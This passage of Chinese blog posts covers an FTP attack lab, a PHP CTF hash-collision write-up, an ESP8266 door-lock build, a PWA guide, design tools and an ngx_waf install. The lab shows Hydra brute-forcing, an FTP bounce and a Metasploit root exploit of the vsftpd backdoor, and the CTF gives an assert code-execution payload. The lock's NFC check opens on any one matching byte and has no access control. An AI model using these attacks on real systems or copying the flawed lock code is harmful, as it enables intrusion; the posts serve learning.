the EPSV response in the future. The response code for entering passive mode using an extended address MUST be 229. The interpretation of this code, according to [PR85] is: 2yz Positive Completion x2z Connections xy9 Extended Passive Mode Entered The text returned in response to the EPSV command MUST be:() The portion of the string enclosed in parentheses MUST be the exact string needed by the EPRT command to open the data connection, as specified above. 匿名账户登录 通过配置FTP Server开启匿名登录，得到以下数据包： 源 目标 报文 10.60.8.254:21 10.27.157.176:36430 Response: 220 (vsFTPd 3.0.3) 10.27.157.176:36430 10.60.8.254:21 Request: USER ftp 10.60.8.254:21 10.27.157.176:36430 Response: 331 Please specify the password. 10.27.157.176:36430 10.60.8.254:21 Request: PASS 10.60.8.254:21 10.27.157.176:36430 Response: 230 Login successful. 10.27.157.176:36430 10.60.8.254:21 Request: SYST 10.60.8.254:21 10.27.157.176:36430 Response: 215 UNIX Type: L8 10.27.157.176:36430 10.60.8.254:21 Request: QUIT 10.60.8.254:21 10.27.157.176:36430 Response: 221 Goodbye. 即通过匿名账户就可以登录FTP Server并进行操作。 FTP攻击测试与分析 对FTP账户进行枚举暴力登录 FTP由于鉴权方式过于简单且本身没有对枚举进行限制，对与较为简单的账户密码非常容易通过暴力破解进行登录，以下将对本攻击方式进行演示。 测试环境 靶机信息 Metasploitable 2 192.168.255.128 测试工具 Hydra v9.1 测试结果 $ hydra -L ftpaccount -P ftpaccount ftp://192.168.255.128 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-10 13:40:50 [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task [DATA] attacking ftp://192.168.255.128:21/ [21][ftp] host: 192.168.255.128 login: msfadmin password: msfadmin 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-10 13:40:51 为了便于演示，这里使用较为简单的字典进行爆破。可以看见，在字典和时间足够充裕的情况下，若管理员没有设置足够复杂的口令，特别是当FTP服务器意外开启匿名身份验证后极易被爆破出账号密码。 对FTP进行端口窃取 根据RFC 2577,FTP通过主动模式或被动模式开启的非特权端口由于没有合理的校验机制，会被恶意碰撞导致端口窃取等问题。原文如下： Port Stealing Many operating systems assign dynamic port numbers in increasing order. By making a legitimate transfer, an attacker can observe the current port number allocated by the server and "guess" the next one that will be used. The attacker can make a connection to this port, thus denying another legitimate client the ability to make a transfer. Alternatively, the attacker can steal a file meant for a legitimate user. In addition, an attacker can insert a forged file into a data stream thought to come from an authenticated client. This problem can be mitigated by making FTP clients and servers use random local port numbers for data connections, either by requesting random ports from the operating system or using system dependent mechanisms. 由于技术水平受限，在此仅做技术讨论。 对FTP连接进行中间人(MITM)监听 FTP连接完全为明文传输，通过Ettercap等工具进行ARP欺骗可以非常简单地对FTP连接进行中间人攻击，实现包括但不限于：获取账户与密码信息、获取传输文件、SSRF攻击等。 在之前的FTP分析中已经展示过这一点，此处不再赘述。 FTP反射攻击(FTP bounce attack) 测试环境 靶机信息 FTP Server Metasploitable 2 192.168.255.128 FTP Client 192.168.255.129 反射服务器 192.168.255.1 使用Netcat监听12345端口 测试工具 Telenet Netcat 测试过程 首先在反射服务器上使用Netcat监听12345端口： $ nc -l 12345 在FTP Client上使用Telnet与FTP服务器交互 $ telnet 192.168.255.128 21 Trying 192.168.255.128... Connected to 192.168.255.128. Escape character is '^]'. 220 (vsFTPd 2.3.4) USER msfadmin 331 Please specify the password. PASS msfadmin 230 Login successful. PORT 192,168,255,1,48,57 //执行反射，建立一条与反射服务器的连接 200 PORT command successful. Consider using PASV. LIST //执行LIST指令 150 Here comes the directory listing. 226 Directory send OK. QUIT 221 Goodbye. Connection closed by foreign host. 最后在反射服务器上接收到如下信息： $ nc -l 12345 drwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerable 为上述通过LIST指令发送的内容。 结果分析 造成此问题是因为FTP主动模式下传输的地址存在被恶意修改为任意地址的风险，攻击人员可以通过预先准备好的反射命令向任意目标发起反射请求，例如通过PUT和GET指令等。当然，目前大部分FTP Server程序已经就此问题进行了解决，如限制PORT指令连接的服务器必须是发起指令的服务器等（靶机中的FTP Server经过修改去除了这一限制）。 对FTP连接进行SSRF攻击 此类攻击的原理与上文的FTP Bounuce Attack有些类似，是FTP在被动模式下返回的Response: 227 Entering Passive Mode (10,60,8,254,76,13)字段可被攻击者通过MITM攻击等方式截获修改导致客户端错误地连接上第三方服务器的问题。由于技术水平有限且此类攻击实现较为复杂，此处暂不做实现。 CVE-2011-2523 笑脸漏洞 测试环境 靶机信息 Metasploitable 2 192.168.255.128 测试工具 Metasploit 测试结果 msf6 > use exploit/unix/ftp/vsftpd_234_backdoor [*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.255.128 rhost => 192.168.255.128 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run [*] 192.168.255.128:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.255.128:21 - USER: 331 Please specify the password. [+] 192.168.255.128:21 - Backdoor service has been spawned, handling... [+] 192.168.255.128:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.255.1:43683 -> 192.168.255.128:6200) at 2021-09-10 14:47:11 +0800 whoami root 此漏洞发生在vsftpd 2.3.4版本中，在代码中存在一个重大的问题，在文件srt.c中出现一段与程序无关的代码。 else if((p_str->p_buf[i]==0x3a)&&(p_str->p_buf[i+1]==0x29)){ vsf_sysutil_extra(); } 可以判断为后门程序，只需要在传入用户名的结尾处加入:)字符就可以获取root权限。 总结 FTP作为互联网形成初期就存在的协议，放到50年后的今天来看存在着不少问题。这里既包括但不限于： 明文传输与落后的身份鉴别造成的信息泄露、枚举破解的问题。 没有合理的校验造成的被恶意修改、劫持等问题。 需要额外创建新连接造成的被恶意重定向、反射的问题。 FTP Client与FTP Server在实际实现上存在的问题（如CVE-2011-2523）。 ... 以上，仅仅对部分FTP存在的问题进行浅显的讨论，我们需要吸收FTP既有的智慧，也要弥补其存在的缺陷，更要能够推陈出新，择其善者而从之，其不善者而改之。 参考资料 RFC 354：https://tools.ietf.org/html/rfc354 RFC 2428 : https://tools.ietf.org/html/rfc2428 RFC 2577 : https://tools.ietf.org/html/rfc2577
序 这是一道群里大佬出的红包题，由于我是非预期解题，这里给出一下出题人Write Up和自己的一些思考。 原题 PHP Ver : 5.3.29 <?php ini_set("display_errors", "On"); error_reporting(E_ALL | E_STRICT); $flag=0; $array = array('MXPUMXPUMXPUMXPU' => 1, 'NWPUNWPUNWPUNWPU' => 2, 'MXOvMXOvMXOvMXOv' => 3,'NWOvNWOvNWOvNWOv' => 'phpinfo();'); $ref = &$array; if (isset($_GET['data_key']) && isset($_GET['data_value'])) { $data_key = $_GET['data_key']; $data_value = $_GET['data_value']; if (preg_match('/MX|PU|NW|Ov/i', $data_key)) { die('nonono'); } else{ foreach ($array as $key => $value) { if ($flag===0){ unset($array['NWPUNWPUNWPUNWPU']); $array[$data_key] = $data_value; $flag=1; } if($key=='NWOvNWOvNWOvNWOv'){ call_user_func('assert',$value); die(''); } if (current($array) === false) { call_user_func('assert',$value); } } } } else{ highlight_file(__FILE__); } 题解 注意到是php版本5，用了foreach方法，注意到php5中数组和php7存在区别，具体可见： https://stackoverflow.com/questions/10057671/how-does-php-foreach-actually-work/14854568#14854568 https://www.phpinternalsbook.com/php5/hashtables/hash_algorithm.html 了解到hash算法是djbx33a后，考虑hash碰撞。由于该hash算法的特性，两两⼀组进行碰撞，碰撞出array_key=O6Q4O6Q4O6Q4O6Q4. POC static inline unsigned long zend_inline_hash_func(const char *arKey, unsigned int nKeyLength) { register unsigned long hash = 5381; /* variant with the hash unrolled eight times */ for (; nKeyLength >= 8; nKeyLength -= 8) { hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; hash = ((hash << 5) + hash) + *arKey++; } switch (nKeyLength) { case 7: hash = ((hash << 5) + hash) + *arKey++; case 6: hash = ((hash << 5) + hash) + *arKey++; case 5: hash = ((hash << 5) + hash) + *arKey++; case 4: hash = ((hash << 5) + hash) + *arKey++; case 3: hash = ((hash << 5) + hash) + *arKey++; case 2: hash = ((hash << 5) + hash) + *arKey++; case 1: hash = ((hash << 5) + hash) + *arKey++; break; case 0: break; } return hash; } int main() { char a[3]; a[2] = 0; for (byte i = 0; i < 255; i += 1) { a[0] = i; for (byte j = 0; j < 255; j += 1) { a[1] = j; if (zend_inline_hash_func(a, 2) == zend_inline_hash_func("PU", 2)) { std::cout << int(a[0]) << ',' << int(a[1]) << std::endl; } } } } 绕过后，进行命令执行，发现开了magic quote，所有的'会被转义成\' https://www.cnblogs.com/phpddt/articles/3131136.html 用php中的char函数来构造字符串。 http://xxx/?data_key=O6Q4O6Q4O6Q4O6Q4&data_value=var_dump(file_get_contents(chr(47).flag)); 思考 在刚拿到这道题的时候尝试使用正则绕过来构造PoC如下： http://xxx/?data_key=N%0AW%0AP%0AU%0AN%0AW%0AP%0AU%0AN%0AWPUNWPU%0A&data_value=phpinfo(); 发现怎么也跑不进构造的新数组里去。 在阅读大佬放出的Hint后得到如下关键信息： 于是想到直接碰撞hash，但是苦于找不到PHP的hash算法，就随便魔改了一下原字符串得到： http://xxx/?data_key=WNUPWNUPWNUPWNUP&data_value=phpinfo(); 魔幻的事情开始了，竟然能够成功执行代码并非预期解拿到了flag和一杯奶茶。非预期解原因暂时未知。
序 这是一个从刚入学就挖下的坑，宿舍老旧的门锁与会捉迷藏的钥匙总把我锁在外面，室友有时也没有那么可靠。于是准备把门锁做非破坏性的改造，支持上手机控制。后来又考虑到需要在断网的时候也能够正常访问，又加入了NFC刷卡开门。由于东西仅限自娱自乐且宿舍楼道有完备的安防监控，本项目没有准备任何访问控制。以下是实现的过程。 本项目源码已打包至https://github.com/MoeMion/Magic_Door/. 材料准备 ESP8266开发板 整个系统的控制中枢，支持Wi-Fi连接并且附带丰富的引脚，常用于物联网开发。在这里我选择了CH340处理器的版本，并在Arduino IDE上进行编程开发。（关于Arduino IDE与CH340驱动的问题可以通过搜索引擎快速解决） 价格：13 元 附ESP8266引脚定义图示.注意，D0(GPIO16) 仅能用于GPIO读写，不支持PWM/I2C/OW信号传输。 MF RC522 模块 负责NFC通信。由于需求简单，这里选择的版本不支持加密卡读写。 价格：12 元 MG995舵机 用来拉动机械门闩。 价格：15元 注意：MG995电机有多个版本，请选购180°带限位版本，360°版本仅能通过PWM信号控制旋转时间，不能控制具体角度！由于舵机不正确使用易烧坏，请小心使用！ 引脚解释： 棕 : GND 红 : VCC （5V或3.3V均可，实测5V转动速度更快） 黄： PWM信号 MH-FMD 无源蜂鸣器 用于输出声音提醒。 价格：2元 杜邦线若干、热熔胶枪 连接各部分传感器。主要用到了公对母与母对母两种。 MG995舵机控制 装置的核心功能，需要将舵机物理连接到门闩。 实现目标 控制舵机旋转一定角度拉动机械结构开门，并在一定时间后复位。 开机时自动复位。 防止在开门时间内重复动作。 防止delay()函数带来的进程阻塞。 接线 ESP8266 MG995 VU VCC GND(临近VU) GND D3(GPIO0) PWM 参考代码 为实现防止进程阻塞，这里使用CxgJSTime库，GitHub Repo:https://github.com/chengxg/cxg-arduino-lib/tree/master/CxgJSTime 以下的代码仅为精简过后的该部分功能实现代码，仅供参考。 #include <Arduino.h> #include <Servo.h> #include <cxg_JSTime.h> Servo servo; //初始化舵机对象 JSTime jsTime; //初始化jstime对象 int servoStatus = 0; //标记舵机状态，0为放下1为拉起 void setup() { servo.attach(0, 500, 2500); //第一个坑，参数：PWM对应的GPIO接口,最小PWM信号,最大PWM信号，不同舵机参数不一样，默认参数不适用于本舵机。搜索引擎上大部分文档不会给出后两个参数！ servo.write(1); //参数为旋转的角度，通电后将电机复位，为0时偶尔会造成舵机卡死 } void opendoor() { if(servoStatus){ return; } servoStatus = 1; //标记舵机升起 servo.write(90);//舵机旋转90度，拉起门栓。实测90度够用，若长度不够可以改成180度 buzzersuccess(); //控制蜂鸣器播放成功提示音 int timeId = jsTime.setTimeout([]() { servo.write(1); //复位舵机 servoStatus = 0; //标记舵机放下 }, 10000); //延迟10秒,舵机复位，放下门栓 } void loop() { jsTime.refresh(); //刷新jsTime对象 } Web控制 通过无线网络接入来控制舵机开关。 实现目标 使用ESP8266WiFi库接入无线局域网。 使用ESP8266WebServer库实现WebServer以相应请求。 实现开门、心跳检测、重启、关闭面板LED灯等操作。 网络接入 ESP8266模块仅支持2.4G的Wi-Fi连接。此外在连接到无线路由器后需要绑定IP地址。若需要外网访问的话还得进行内网穿透。在这里我使用部署在宿舍的树莓派进行转发。 参考代码 #include <Arduino.h> #include <ESP8266WiFi.h> #include <ESP8266WebServer.h> ESP8266WebServer web(80); //初始化web对象 void setup(){ //连接网络 WiFi.begin("SSID", "PASSWORD"); while (WiFi.status() != WL_CONNECTED) { Serial.println("Scan wifi..."); delay(1000); } Serial.println('\n'); Serial.print("Connected to "); Serial.println(WiFi.SSID()); // WiFi连接成功后通过串口监视器输出连接的WiFI名称 Serial.print("IP address:\t"); Serial.println(WiFi.localIP()); // WiFi连接成功后通过串口监视器输出IP地址 //初始化WEB服务 web.on("/", handleindex); //默认页面 web.on("/check", handleHeartbeat); //心跳检测 web.on("/open", handleOpenDoor); //开门 web.on("/restart", handleRestart); //重启 web.on("/ledoff", handleLedoff); //关闭面板LED灯 web.onNotFound(handleNotFound); //处理404请求 web.begin(); Serial.println("Webserver begain."); } void loop() { web.handleClient(); } void handleOpenDoor() { if(servoStatus == 0){ web.send(200, "text/plain", "1"); //舵机成功升起并返回1 opendoor(); }else{ web.send(200, "text/plain", "2"); //若舵机已升起则返回2 } } void handleHeartbeat() { web.send(200, "text/plain", "1"); } void handleindex() { web.send(200, "text/plain", "This is a unsmart door locker by Mion!"); } void handleNotFound() { web.send(404, "text/plain", "Oops!Page is missing!"); } void handleRestart() { web.send(200, "text/plain", "1"); ESP.restart(); } void handleLedoff() { web.send(200, "text/plain", "1"); led_off(); //关闭ESP8266面板上的LED灯，此部分代码在之后给出 } Web客户端 上文实现了Web控制及响应，但总不能每次都通过访问URL这样不友好的方式开门，于是通过Web与PWA实现了客户端。PWA实现方式详见：为网站增加PWA支持实现原生应用体验 实现目标 点击按钮即可开门 实时刷新门禁在线状态 使用PWA将Web添加至桌面 门锁已开启时给出提示 美观的界面 演示 参考代码 这里仅给出部分代码，与PWA相关文件请参考上述文章进行配置。页面使用Argon Design Sytem进行构建。 index.html MagicDoor | Powered By Mion 少年，快使用魔力！ 正在给先生作诗... <polygon class="fill-default" points="2560 0 2560 100 0 100"></polygon> 门禁状态 查询中 开门 安装APP 查询中... controller.php <?php $ip = "ESP8266地址"; $action = $_REQUEST["action"]; switch ($action){ case "open" : opendoor($ip);break; case "check" : check($ip);break; case "restart" : restart($ip);break; default : exit("参数非法或不存在！"); } function opendoor($ip){ $ch = curl_init(); //file_get_contents()在这里效率莫名的低... curl_setopt($ch, CURLOPT_URL, "http://$ip/open"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); curl_close($ch); if($result == "1"){ exit("100"); }elseif ($result == "2") { exit("200"); }else{ echo $result; exit("0"); } } function check($ip){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://$ip/check"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); curl_close($ch); if($result == "1"){ exit("100"); }else{ echo $result; exit("0"); } } function restart($ip){ $ch = curl_init(); //file_get_contents()在这里效率莫名的低... curl_setopt($ch, CURLOPT_URL, "http://$ip/restart"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT , 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $result = curl_exec($ch); curl_close($ch); if($result == "1"){ exit("100"); }else{ echo $result; exit("0"); } } ?> NFC控制 本部分用于在离线场景下进行开门，实际由于手机和手表支持NFC模拟门卡解锁速度比Web更快。 实现目标 读取NFC卡片ID信息 根据ID信息执行相应动作 正确则开门；错误则在串口输出ID并相应错误提示音 接线 参考代码 #include <SPI.h> #include <MFRC522.h> #include <Arduino.h> const int RST_PIN = 5; const int SS_PIN = 4; MFRC522 rfid(SS_PIN, RST_PIN); //初始化rfid实例 MFRC522::MIFARE_Key key; byte keynuid[4] = {0, 0, 0, 0}; //正确的NFC卡片八进制ID，请根据串口输出修改 void setup(){ //初始化NFC SPI.begin(); rfid.PCD_Init(); for (byte i = 0; i < 6; i++) { key.keyByte[i] = 0xFF; } Serial.println("NFC module initialized."); } void loop(){ if ( ! rfid.PICC_IsNewCardPresent()) return; if ( ! rfid.PICC_ReadCardSerial()) return; if (rfid.uid.uidByte[0] == keynuid[0] || rfid.uid.uidByte[1] == keynuid[1] || rfid.uid.uidByte[2] == keynuid[2] || rfid.uid.uidByte[3] == keynuid[3] ) { Serial.println("NFC card right."); opendoor(); }else { buzzerfailed(); Serial.println("NFC card wrong.Card OTC NID:"); printnuid(rfid.uid.uidByte, rfid.uid.size); //输出错误卡片的八进制ID } rfid.PICC_HaltA(); rfid.PCD_StopCrypto1(); } void printnuid(byte *buffer, byte bufferSize) { for (byte i = 0; i < bufferSize; i++) { Serial.print(buffer[i] < 0x10 ? " 0" : " "); Serial.print(buffer[i], OCT); } } 蜂鸣器与LED控制 接线 ESP8266 蜂鸣器 3V VCC GND GND D4(GPIO02) I/O 参考代码 void buzzersuccess() { tone(2, 523,200); delay(200); noTone(2); tone(2, 587); delay(200); noTone(2); tone(2, 659); delay(200); noTone(2); } void buzzerfailed() { tone(2, 261); delay(200); noTone(2); delay(100); tone(2, 261); delay(200); noTone(2); } void led_off(){ digitalWrite(LED_BUILTIN, HIGH); } 附：Frequencies for equal-tempered scale 总结 将以上代码有机组合之后即可完成整件作品。很容易发现本项目没有任何访问控制与安全控制，请谨慎采用。当然，由于经验不足以上代码还有大量的缺点，若您有能力请自行修改！ 本文部分配图来源于网络，若有侵权请联系删除。 感谢 感谢@Kvar_ispw17大佬对本项目的指导与帮助！！！
为网站增加PWA支持实现原生应用体验
序 前些时间用Web写了一个简单的物联网控制程序，本来想是不是需要打包成APP然后发布。后来发现了PWA能够直接将网页添加到各种设备中来实现原生应用的功能如发送通知、离线查看、渐进式加载等。PWA可以将各类网页都“打包”成原生应用，包括单一网页或者Typecho博客，以下，将会拿本博客举例实现PWA的简单应用。 什么是PWA(渐进式 Web 应用) PWA（Progressive Web Apps，渐进式 Web 应用）运用现代的 Web API 以及传统的渐进式增强策略来创建跨平台 Web 应用程序。这些应用无处不在、功能丰富，使其具有与原生应用相同的用户体验优势。PWA 是可被发现、易安装、可链接、独立于网络、渐进式、可重用、响应性和安全的。 简单理解，PWA可以将Web应用转化成能够在多平台设备上使用的原生应用程序并且具有和原生应用接近的交互体验，无需下载直接安装。 注意：PWA并不是一种单独的技术，而是多项Web技术集成的Web App，其核心技术包括App Manifest、Service Worker、Web Push等。 快速为网站配置PWA 以下将简单阐述如何快速为网站添加PWA支持，内容较为简单且没有发挥出PWA的全部功能，若需要更深入研究请见文末的拓展阅读。 配置HTTPS Service Worker必须运行在HTTPS或本地环境下，所以开启PWA的前提是配置好站点的HTTPS！！！在这里不再赘述。 制作应用图片 PWA需要为APP注册一个ICON，这里使用和网站favicon相同的图标，并且推荐将图片的分辨率保证在256x256以上！ 配置Manifest Manifest是一份用JSON记录网站信息的清单，其中包含了应用的标题、图标的大小与路径、加载页的背景颜色等，只有编写了这份清单浏览器才能正确处理Web App信息。在编写Manifest时会发现有不同拓展名，如manifest.webapp、manifest.json，但是在W3C规范中规定了其标准拓展名应为.webmanifest以下是我编写的一份Manifest示例： { "background_color": "#fff", //Web App启动时的背景颜色，可以使用预设的一些颜色名字如red,blue等，或者直接使用HEX颜色值如#66ccff(天依蓝) "description": "Describe your site.", //Web App的描述，这里的内容将会在安装时展现 "display": "fullscreen", //Web App展示的方式，可选的值有fullscreen,standalone,minimal-ui,browser等，具体含义请见文末拓展阅读 "icons": [ { "src": "icon.png", "sizes": "192x192", "type": "image/png" } ], //这里举例了应用图片的配置，可以配置多个图标！ "name": "Awesome fox pictures", //应用的名称，在安装时展示 "short_name": "Foxes", //缩略名，一般在添加到桌面之后会展示这个名字 "start_url": "/" //启动后进入的 } 然后将本文件保存为manifest.webmanifest并放置在网站根目录，并在网站 标签内添加以下内容： Safari浏览器对PWA支持并不完善，如果需要正确的展示PWA应用，需要将以下代码根据实际情况调整后添加在 标签内： 注册Service Worker实现A2HS 我们需要Service Worker来处理安装A2HS(Add to Home screen)与缓存事件，通常情况下A2HS事件会由浏览器自行处理，但是某些情况下我们想要自己控制这个行为来引导用户安装PWA应用。 首先编写index.js，这部分内容也可以直接编写在网页的 标签中。 // 注册Service Worker来使网站离线工作 if ('serviceWorker' in navigator) { navigator.serviceWorker .register('/sw.js') //Service Worker文件路径 .then(() => { console.log('Service Worker Registered'); }); } // 提醒用户安装PWA应用,如果您不想这样，可以直接使用showInstallPromotion(); let deferredPrompt; const addBtn = document.querySelector('.add-button'); addBtn.style.display = 'none'; window.addEventListener('beforeinstallprompt', (e) => { // 防止Chrome 67以前版本的浏览器出现此提醒 e.preventDefault(); //阻止自动提示，若想将A2HS的控制权交给浏览器则请注释 deferredPrompt = e; // 显示安装提醒按钮 addBtn.style.display = 'inline'; addBtn.addEventListener('click', () => { // 隐藏提示按钮 addBtn.style.display = 'none'; // 显示安装提示 deferredPrompt.prompt(); deferredPrompt.userChoice.then((choiceResult) => { if (choiceResult.outcome === 'accepted') { console.log('User accepted the A2HS prompt'); } else { console.log('User dismissed the A2HS prompt'); } deferredPrompt = null; }); }); }); 此时我们需要在 内有一个用来提示安装的按钮，示例代码如下： 将网页添加到桌面 接下来是Service Worker的代码，将其命名为sw.js并保存。 self.addEventListener('install', (e) => { e.waitUntil( caches.open('store').then((cache) => cache.addAll([ '/', '/index.html', //需要缓存的静态资源 ])), ); }); self.addEventListener('fetch', (e) => { console.log(e.request.url); e.respondWith( caches.match(e.request).then((response) => response || fetch(e.request)), ); }); //处理fetch事件 成果展示 拓展阅读 Progressive Web Apps Add a web app manifest 让 PWA 易于安装 - 渐进式 Web 应用（PWA） | MDN Add to Home screen 添加到主屏幕 - 渐进式 Web 应用（PWA） | MDN 渐进式 Web 应用（PWA）| MDN 《PWA 应用实战》 Web app manifests
一些常用的设计相关素材与工具网站
序 以下是个人常用的一些美术设计相关素材与工具网站。 插画类 unDraw.co 一个优秀的免费插画网站，可以自定义插画颜色并支持下载SVG与PNG格式图片。 地址：https://undraw.co/ Delesign 优秀的插画与图标库，素材可免费商用，支持PNG与SVG格式下载。 地址：https://delesign.com/free-designs/graphics/ manypixels 也是免费且可自定义色彩，筛选功能也比以上两款好用，支持SVG与PNG图片下载。缺点是画风不统一。 地址：https://www.manypixels.co/gallery Humaaans 人物插画生成器，支持自定义人物的各种部分与动作！ 地址：https://www.humaaans.com/ Scenic Background Animations 60+风景插画合集，不同插画分别带有不同时段的图片，并且可以一键下载全套插图，真的有被其画风惊艳到。 地址：https://www.pixeltrue.com/scenic-illustrations 图标类 ICONFONT 阿里巴巴旗下图标库，非常好用。 地址：https://www.iconfont.cn/ ICONS8 丰富的素材站，支持图标、插画等各样设计素材下载。 地址：https://icons8.com/ 背景图 图鱼 大量好用的背景纹理素材。 地址：https://www.hituyu.com/ Cool Backgrounds 支持五种样式的背景生成器，样式较少不太实用。 地址：https://coolbackgrounds.io/ Wicked Backgrounds 波浪背景生成器，功能强大。 地址：https://wickedbackgrounds.com/ Haikei 功能丰富多样的背景生成工具，支持随机生成手残党福音。 地址：https://app.haikei.app/ 色彩 Picular 输入任意字符自动生成相关色卡，非常强大且解决配色难题。 地址：https://picular.co/ 100 Mesh Gradients 提供100张渐变图片素材，可以打包下载，果风浓浓！ 地址：https://www.meshgradients.design/ Mesh 支持自定义生成美丽的渐变图片。 地址：https://meshgradient.com/ 工具类 Pixel Map Generator 万能的地图生成器，在使用此工具时要注意政治相关问题！ 地址：https://pixelmap.amcharts.com/ Removebg 快速高效的抠图工具，非注册用户可以下载到的图片也拥有不错的画质。 创客贴抠图 国内的快速抠图工具，需要登录注册。质量也非常高。 Bigjpg 图片无损放大工具，支持API可以进行二次开发！ Img.top 图片无损压缩工具，支持jpg,png,gif格式。最大支持单文件5M. DocSmall 文件无损压缩工具，支持jpg,png,gif,pdf格式。最大支持单文件25M. Toools.design 设计资源收集网站，包括设计需要使用的各种资源。 CodeToImg 将代码转换成图片，支持PNG,JPG,SVG等多种格式。程序开源可自部署！
在宝塔下使用ngx_waf增强WAF防护性能/防CC/开启5秒盾
序 由于曾经被黑恶势力痛揍过，至今对CC Flood无法释怀以至于产生了PTSD。每次装网站都会好好折腾一下软防来尽量减少被攻击的损失(虽然我的孤岛并不会有人造访) 。事实上，DDoS防御是一项系统工程，且更多体现在资源的较量上。针对网络层的攻击拼带宽与流量，针对七层的攻击则拼架构与性能。真正在部署DDoS防御时，运营商与机房级别的硬件防御才是真正的主力，但是其费用之高昂不是一般用户所能承担。于是部署在应用层的软防成为大多数建站者的选择。 众所周知，宝塔面板有商用的Nginx防火墙插件（要钱），具有丰富的WAF(Web Application Firewall)功能，但是其防CC能力在面对攻击时形同虚设，使用简单的CC工具就可以轻松实现503 Page。而较老的httpguard、ngx_lua_waf等均已年久失修。偶然间在Github上发现了ngx_waf后折腾了一下发现确实不错。 NGX_WAF简介 方便且高性能的 Nginx 防火墙模块。(以下内容来自原项目介绍) 为什么选择 ngx_waf 功能齐全：「网络应用防火墙」的基本功能都有。 安装方便：大多数情况下你可以直接下载使用预构建的模块，而不是编译代码。 使用方便：配置指令简单易懂，不用看文档都能猜到大概是什么意思。 规则灵活：提供高级规则，将动作（如拦截或放行）和多个条件表达式组合起来。 高性能：经过较为极限的测试，启动本模块后 RPS（每秒请求数） 降低约 4%。测试说明和结果见使用文档。 功能 SQL 注入防护（Powered By libinjection）。 XSS 攻击防护（Powered By libinjection）。 支持 IPV4 和 IPV6。 CC 防御，超出限制后自动拉黑对应 IP 一段时间。 IP 黑白名单，同时支持类似 192.168.0.0/16 和 fe80::/10，即支持点分十进制和冒号十六进制表示法和网段划分。 POST 黑名单。 URL 黑白名单 查询字符串（Query String）黑名单。 UserAgent 黑名单。 Cookie 黑名单。 Referer 黑白名单。 高级规则，将动作（如拦截或放行）和多个条件表达式组合起来。 相关链接 使用文档：https://docs.addesp.com/ngx_waf/zh-cn/ GitHub：https://github.com/ADD-SP/ngx_waf 总结 一个用C构建的高效率Nginx防火墙，开发者积极维护(在写稿的时候就更新了3个版本导致不得不反复修改)，并且支持开启5秒盾，实测抗CC性能优秀！ 安装 以下内容源于官方文档和自己的折腾记录，仅供参考！ 环境 CentOS 7 Nginx 1.21.0 宝塔 7.6.0 ngx_waf v7.0.0 Current 如果您的环境与我相同，以下安装指令可以照抄，反之请自行检查相关指令。 安装过程 首先创建临时的工作目录，并将项目拷贝到本地。 mkdir /root/nginx #临时工作目录，这个在后面会用到 cd /root/nginx git clone https://github.com/ADD-SP/ngx_waf.git #获取最新版本的ngx_waf，也可以直接去Release找以往的版本 cd ngx_waf git clone https://github.com/libinjection/libinjection.git inc/libinjection nginx 提供两种安装模块的方式，即「静态链接」和「动态加载」，通过两种方式安装的模块也分别称为「静态模块」和「动态模块」。 你可以通过运行脚本 assets/guide.sh 来选择使用静态模块还是动态模块。 sh assets/guide.sh # It is recommended that you use dynamic modules. # 如果输出上面这行则建议使用动态模块。 # It is recommended that you use static modules. # 如果输出上面这行则建议使用静态模块。 在宝塔环境下得到的推荐是静态模块，实际在折腾过文章介绍的动态模块后均会出现奇怪的错误，于是在后文介绍的是静态模块安装。 到这一步我们需要开始进行编译，这里可能会涉及各种依赖问题如gcc等，由于不同环境的依赖问题不一样，这里就不再赘述，请自行通过搜索引擎解决。 在搞定依赖问题后需要获取当前nginx的configure 脚本的参数，在宝塔环境下输入以下指令即可获得。 /www/server/nginx/sbin/nginx -V 得到以下内容，这里将configure arguments: 后面的内容记录下来，并在结尾加上--add-module=/usr/local/src/ngx_waf即可得到编译参数。如果您使用的编译器是 GCC，请在 --with-cc-opt 中追加 -fstack-protector-strong， 例如 --with-cc-opt='-Werror -g' ---> --with-cc-opt='-Werror -g -fstack-protector-strong'。 nginx version: nginx/1.21.0 built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC) built with OpenSSL 1.1.1k 25 Mar 2021 TLS SNI support enabled configure arguments: --user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --add-module=/www/server/nginx/src/lua_nginx_module --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --with-openssl=/www/server/nginx/src/openssl --with-pcre=pcre-8.43 --with-http_v2_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-http_stub_status_module --with-http_ssl_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-cc-opt=-Wno-error --with-ld-opt=-ljemalloc 